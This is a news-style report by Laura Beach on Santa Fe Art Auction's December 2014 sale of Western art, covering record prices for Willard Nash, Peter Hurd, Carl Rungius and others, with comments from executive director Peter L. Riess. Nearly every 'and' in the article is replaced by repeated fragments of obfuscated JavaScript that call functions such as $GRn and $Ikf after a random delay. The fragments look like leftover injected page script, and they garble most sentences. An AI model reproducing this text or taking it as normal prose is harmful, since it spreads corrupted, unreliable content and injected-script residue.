By: Laura Beach

SANTA FE, N.M. — New technology, changing tastes andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and habits, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and shifting price structures are prompting the savviest dealers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and auctioneers to evolve new strategies for selling.

In Santa Fe, some of the energy long associated with the city’s nationally prominent gallery district has shifted to Santa Fe Art Auction. Once a year, the house offers up a highly refined selection of historic andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and contemporary Western art, competitively priced.

“Curator” is an overused word, but in this case it accurately describes the role of Santa Fe Art Auction’s executive director, Peter L. Riess. As he explains, “We have a pretty consistent focus on historic andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and contemporary Western art, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and occasionally include Native American art, though we don’t do a lot with artifacts. From experience, I know what we can ask for works at auction. My mission here is to get pieces sold.”

Presented by Gerald Peters Gallery andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and conducted at Peters Projects, the contemporary art space on Santa Fe’s Paseo de Peralta, Santa Fe Art Auction’s 2014 auction on December 6 consisted of 237 lots. The auction was a brisk 90 percent sold by lot.

Riess does much to make attending the sale enjoyable. The Peters facility is spacious, elegant andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and light-filled. Food andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and drink are plentiful. Wearing cowboy hats andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and boots, the Western-style auctioneers Bruce Brock andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his identically clad crew called the event with a lively twang. Affluent Texans, fol-lowed by Californians andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and New Yorkers, have long buoyed the Santa Fe economy. Their presence in the room was felt, though most of the top lots sold on the phone to clients represented by Gerald Peters, a major player in the American arts field, Riess or his colleagues. Twenty percent of the lots sold online, Riess said.

Several new auction records were set. Featured in the Smithsonian American Art Museum’s major 1986 exhibition of New Mexican painting, the loosely brushed, richly colored “Santa Fe Landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape” by Willard Nash, circa 1930, left the room at $140,400, including premium, handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andily surpassing its $60/100,000 estimate.

Given his superstar in-laws — N.C. andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Andrew Wyeth — it is surprising that the talented New Mexican painter Peter Hurd is not better known. Married to fellow painter Henriette Wyeth, N.C.’s daughter, Hurd recorded the West’s expansive vistas andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and its ranching life. Such a view, “The Fence Builders,” an egg tempera painting of 1954, left the room at a record $70,200.

Another painter who depicted southern New Mexico ranchlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands, Federal Art Project artist Russell Vernon Hunter was represented by the oil on board painting “The Windmill,” $18,720.

Riess found buyers for his cover lots. Leading the session was “Pack Horses on a Trail,” $333,450, by Carl Rungius, a wildlife painter who worked in the northern Rockies. “It’s among the top prices for Rungius at auction,” said Riess, noting the uncommon depiction of pack horses by an artist better known for elk, moose andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and big-horn sheep.

Indians crouching by streams or over artifacts are typical of Eanger Irving Couse, whose “Spearing the Fish,” painted circa 1932 for American Litho Calendar, fetched $175,500.

Single-owner collections began andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ended the day. From the estate of Dr Robert R. White, an authority on New Mexican painting, came “Arroyo Hondo Ranch” by E. Martin Hennings, $40,950, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Gustave Baumann color woodblock print “Summer Rain,” bid to an aggressive $18,720.

Sold to benefit the New Mexico Museum of Art, modest contemporary works from the Ernest andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Edith Schwartz collection included “Moon Rider” by Kevin Red Star, $5,850.

One of the sale’s few disappointments was Ernest L. Blumenschein’s portrait of fellow Taos artist Sheldon Parsons. Estimated at $100/200,000, this penetrating work of artistic andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and historical note was unclaimed at $85,000. Collectors, it seems, favor romanticized views of the West over psychologically probing canvases.

Declining to generalize about the strength andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and direction of the market for Western art, Riess instead said, “There are always buyers for good works. It’s just a matter of offering them at the right price.”

Riess is reviewing dates for next year’s sale, which fell unusually late in this year’s calendar. Santa Fe is quiet in early December, before the arrival of skiers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and holidaymakers. Depending on one’s tastes, it can be an advantage to travel when flights andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and lodging rates are low, as they are before the Christmas rush.

For information on Santa Fe Art Auction, 505-954-5858 or www.santafeartauction.com.